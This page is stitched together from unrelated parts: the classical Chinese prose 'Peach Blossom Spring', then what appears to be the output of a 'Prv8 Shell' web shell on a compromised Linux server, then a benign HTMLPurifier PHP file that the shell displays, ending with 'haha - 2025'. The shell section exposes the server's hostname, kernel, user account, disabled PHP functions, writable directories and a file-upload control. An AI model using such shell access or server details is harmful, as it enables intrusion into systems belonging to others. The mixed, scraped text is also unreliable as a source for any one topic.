晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/libraries/htmlpurifier/library/HTMLPurifier/Printer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/www/crm/libraries/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php
<?php

class HTMLPurifier_Printer_HTMLDefinition extends HTMLPurifier_Printer
{

    /**
     * Instance of HTMLPurifier_HTMLDefinition, for easy access
     */
    protected $def;

    public function render($config) {
        $ret = '';
        $this->config =& $config;

        $this->def = $config->getHTMLDefinition();

        $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer'));

        $ret .= $this->renderDoctype();
        $ret .= $this->renderEnvironment();
        $ret .= $this->renderContentSets();
        $ret .= $this->renderInfo();

        $ret .= $this->end('div');

        return $ret;
    }

    /**
     * Renders the Doctype table
     */
    protected function renderDoctype() {
        $doctype = $this->def->doctype;
        $ret = '';
        $ret .= $this->start('table');
        $ret .= $this->element('caption', 'Doctype');
        $ret .= $this->row('Name', $doctype->name);
        $ret .= $this->row('XML', $doctype->xml ? 'Yes' : 'No');
        $ret .= $this->row('Default Modules', implode($doctype->modules, ', '));
        $ret .= $this->row('Default Tidy Modules', implode($doctype->tidyModules, ', '));
        $ret .= $this->end('table');
        return $ret;
    }


    /**
     * Renders environment table, which is miscellaneous info
     */
    protected function renderEnvironment() {
        $def = $this->def;

        $ret = '';

        $ret .= $this->start('table');
        $ret .= $this->element('caption', 'Environment');

        $ret .= $this->row('Parent of fragment', $def->info_parent);
        $ret .= $this->renderChildren($def->info_parent_def->child);
        $ret .= $this->row('Block wrap name', $def->info_block_wrapper);

        $ret .= $this->start('tr');
            $ret .= $this->element('th', 'Global attributes');
            $ret .= $this->element('td', $this->listifyAttr($def->info_global_attr),0,0);
        $ret .= $this->end('tr');

        $ret .= $this->start('tr');
            $ret .= $this->element('th', 'Tag transforms');
            $list = array();
            foreach ($def->info_tag_transform as $old => $new) {
                $new = $this->getClass($new, 'TagTransform_');
                $list[] = "<$old> with $new";
            }
            $ret .= $this->element('td', $this->listify($list));
        $ret .= $this->end('tr');

        $ret .= $this->start('tr');
            $ret .= $this->element('th', 'Pre-AttrTransform');
            $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_pre));
        $ret .= $this->end('tr');

        $ret .= $this->start('tr');
            $ret .= $this->element('th', 'Post-AttrTransform');
            $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_post));
        $ret .= $this->end('tr');

        $ret .= $this->end('table');
        return $ret;
    }

    /**
     * Renders the Content Sets table
     */
    protected function renderContentSets() {
        $ret = '';
        $ret .= $this->start('table');
        $ret .= $this->element('caption', 'Content Sets');
        foreach ($this->def->info_content_sets as $name => $lookup) {
            $ret .= $this->heavyHeader($name);
            $ret .= $this->start('tr');
            $ret .= $this->element('td', $this->listifyTagLookup($lookup));
            $ret .= $this->end('tr');
        }
        $ret .= $this->end('table');
        return $ret;
    }

    /**
     * Renders the Elements ($info) table
     */
    protected function renderInfo() {
        $ret = '';
        $ret .= $this->start('table');
        $ret .= $this->element('caption', 'Elements ($info)');
        ksort($this->def->info);
        $ret .= $this->heavyHeader('Allowed tags', 2);
        $ret .= $this->start('tr');
        $ret .= $this->element('td', $this->listifyTagLookup($this->def->info), array('colspan' => 2));
        $ret .= $this->end('tr');
        foreach ($this->def->info as $name => $def) {
            $ret .= $this->start('tr');
                $ret .= $this->element('th', "<$name>", array('class'=>'heavy', 'colspan' => 2));
            $ret .= $this->end('tr');
            $ret .= $this->start('tr');
                $ret .= $this->element('th', 'Inline content');
                $ret .= $this->element('td', $def->descendants_are_inline ? 'Yes' : 'No');
            $ret .= $this->end('tr');
            if (!empty($def->excludes)) {
                $ret .= $this->start('tr');
                    $ret .= $this->element('th', 'Excludes');
                    $ret .= $this->element('td', $this->listifyTagLookup($def->excludes));
                $ret .= $this->end('tr');
            }
            if (!empty($def->attr_transform_pre)) {
                $ret .= $this->start('tr');
                    $ret .= $this->element('th', 'Pre-AttrTransform');
                    $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_pre));
                $ret .= $this->end('tr');
            }
            if (!empty($def->attr_transform_post)) {
                $ret .= $this->start('tr');
                    $ret .= $this->element('th', 'Post-AttrTransform');
                    $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_post));
                $ret .= $this->end('tr');
            }
            if (!empty($def->auto_close)) {
                $ret .= $this->start('tr');
                    $ret .= $this->element('th', 'Auto closed by');
                    $ret .= $this->element('td', $this->listifyTagLookup($def->auto_close));
                $ret .= $this->end('tr');
            }
            $ret .= $this->start('tr');
                $ret .= $this->element('th', 'Allowed attributes');
                $ret .= $this->element('td',$this->listifyAttr($def->attr), array(), 0);
            $ret .= $this->end('tr');

            if (!empty($def->required_attr)) {
                $ret .= $this->row('Required attributes', $this->listify($def->required_attr));
            }

            $ret .= $this->renderChildren($def->child);
        }
        $ret .= $this->end('table');
        return $ret;
    }

    /**
     * Renders a row describing the allowed children of an element
     * @param $def HTMLPurifier_ChildDef of pertinent element
     */
    protected function renderChildren($def) {
        $context = new HTMLPurifier_Context();
        $ret = '';
        $ret .= $this->start('tr');
            $elements = array();
            $attr = array();
            if (isset($def->elements)) {
                if ($def->type == 'strictblockquote') {
                    $def->validateChildren(array(), $this->config, $context);
                }
                $elements = $def->elements;
            }
            if ($def->type == 'chameleon') {
                $attr['rowspan'] = 2;
            } elseif ($def->type == 'empty') {
                $elements = array();
            } elseif ($def->type == 'table') {
                $elements = array_flip(array('col', 'caption', 'colgroup', 'thead',
                    'tfoot', 'tbody', 'tr'));
            }
            $ret .= $this->element('th', 'Allowed children', $attr);

            if ($def->type == 'chameleon') {

                $ret .= $this->element('td',
                    '<em>Block</em>: ' .
                    $this->escape($this->listifyTagLookup($def->block->elements)),0,0);
                $ret .= $this->end('tr');
                $ret .= $this->start('tr');
                $ret .= $this->element('td',
                    '<em>Inline</em>: ' .
                    $this->escape($this->listifyTagLookup($def->inline->elements)),0,0);

            } elseif ($def->type == 'custom') {

                $ret .= $this->element('td', '<em>'.ucfirst($def->type).'</em>: ' .
                    $def->dtd_regex);

            } else {
                $ret .= $this->element('td',
                    '<em>'.ucfirst($def->type).'</em>: ' .
                    $this->escape($this->listifyTagLookup($elements)),0,0);
            }
        $ret .= $this->end('tr');
        return $ret;
    }

    /**
     * Listifies a tag lookup table.
     * @param $array Tag lookup array in form of array('tagname' => true)
     */
    protected function listifyTagLookup($array) {
        ksort($array);
        $list = array();
        foreach ($array as $name => $discard) {
            if ($name !== '#PCDATA' && !isset($this->def->info[$name])) continue;
            $list[] = $name;
        }
        return $this->listify($list);
    }

    /**
     * Listifies a list of objects by retrieving class names and internal state
     * @param $array List of objects
     * @todo Also add information about internal state
     */
    protected function listifyObjectList($array) {
        ksort($array);
        $list = array();
        foreach ($array as $discard => $obj) {
            $list[] = $this->getClass($obj, 'AttrTransform_');
        }
        return $this->listify($list);
    }

    /**
     * Listifies a hash of attributes to AttrDef classes
     * @param $array Array hash in form of array('attrname' => HTMLPurifier_AttrDef)
     */
    protected function listifyAttr($array) {
        ksort($array);
        $list = array();
        foreach ($array as $name => $obj) {
            if ($obj === false) continue;
            $list[] = "$name&nbsp;=&nbsp;<i>" . $this->getClass($obj, 'AttrDef_') . '</i>';
        }
        return $this->listify($list);
    }

    /**
     * Creates a heavy header row
     */
    protected function heavyHeader($text, $num = 1) {
        $ret = '';
        $ret .= $this->start('tr');
        $ret .= $this->element('th', $text, array('colspan' => $num, 'class' => 'heavy'));
        $ret .= $this->end('tr');
        return $ret;
    }

}

// vim: et sw=4 sts=4

haha - 2025